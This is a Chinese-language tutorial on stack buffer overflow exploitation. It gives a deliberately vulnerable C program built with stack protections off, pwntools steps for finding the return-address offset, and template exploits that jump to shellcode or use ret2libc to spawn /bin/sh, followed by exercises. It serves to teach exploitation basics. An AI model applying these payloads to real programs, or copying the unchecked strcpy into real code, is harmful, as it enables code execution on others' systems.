1. 栈溢出漏洞概述
栈溢出漏洞利用(Stack Buffer Overflow Exploitation)是 Pwn 领域最基础也是最常见的攻击方式之一。其核心思想是利用程序未正确检查用户输入的长度,导致缓冲区溢出,覆盖返回地址,最终劫持程序控制流。
2. 利用栈溢出的基本步骤
-
找到可溢出的缓冲区:分析代码或使用 Fuzzing 方法定位输入点。
-
计算溢出的偏移量:找到可以覆盖返回地址的位置。
-
覆盖返回地址:利用构造的输入数据覆盖返回地址,使其跳转到可控代码。
-
执行 Shellcode 或 ROP(Return-Oriented Programming):实现任意代码执行。
3. 栈溢出漏洞利用示例
3.1 漏洞代码
#include <stdio.h> #include <string.h> void vulnerable_function(char *input) { char buffer[64]; strcpy(buffer, input); // 无边界检查,存在栈溢出漏洞 } int main(int argc, char *argv[]) { if (argc > 1) { vulnerable_function(argv[1]); } return 0; }
3.2 编译并关闭保护机制
gcc -fno-stack-protector -z execstack -o vuln vuln.c
3.3 计算偏移量
使用 pattern_create
生成唯一模式输入:
python3 -c 'from pwn import *; print(cyclic(100))'
运行后,程序崩溃并检查 EIP
(x86)或 RIP
(x86_64)寄存器的值:
gdb ./vuln (gdb) run $(python3 -c 'from pwn import *; print(cyclic(100))') (gdb) info registers
使用 pattern_offset
计算精确偏移量:
python3 -c 'from pwn import *; print(cyclic_find(0x6161616c))'
3.4 覆盖返回地址
python3 -c 'from pwn import *; print("A"*OFFSET + "B"*4)' | ./vuln
检查 EIP
是否被 0x42424242
(即 BBBB
)覆盖。
4. 构造 Exploit
4.1 跳转到 Shellcode
构造 Exploit
,使返回地址指向一个可控的 Shellcode:
from pwn import * payload = b'A' * OFFSET # 覆盖缓冲区 payload += p32(RET_ADDR) # 覆盖返回地址 payload += asm(shellcraft.sh()) # 载入 Shellcode p = process("./vuln") p.sendline(payload) p.interactive()
4.2 利用 ret2libc 绕过 NX 保护
如果程序开启了 NX(No eXecute)保护,Shellcode 不能直接执行,我们可以利用 ret2libc 技术执行 system("/bin/sh")
。
-
查找 libc 地址:
ldd ./vuln
-
查找
system
和bin/sh
地址:readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
-
构造 ret2libc Exploit:
payload = b'A' * OFFSET payload += p32(system_addr) + p32(exit_addr) + p32(binsh_addr)
5. 练习题
-
修改
vulnerable_function()
,测试不同大小的缓冲区如何影响溢出。 -
在
gdb
中手动计算偏移量,并尝试不同的溢出长度。 -
研究
ret2libc
技术,并编写一个利用system("/bin/sh")
的 Exploit。
6. 总结
-
了解栈溢出漏洞的基本原理。
-
通过
pattern_create
和pattern_offset
计算偏移量。 -
通过覆盖返回地址实现代码执行。
-
了解
ret2libc
技术,绕过 NX 保护。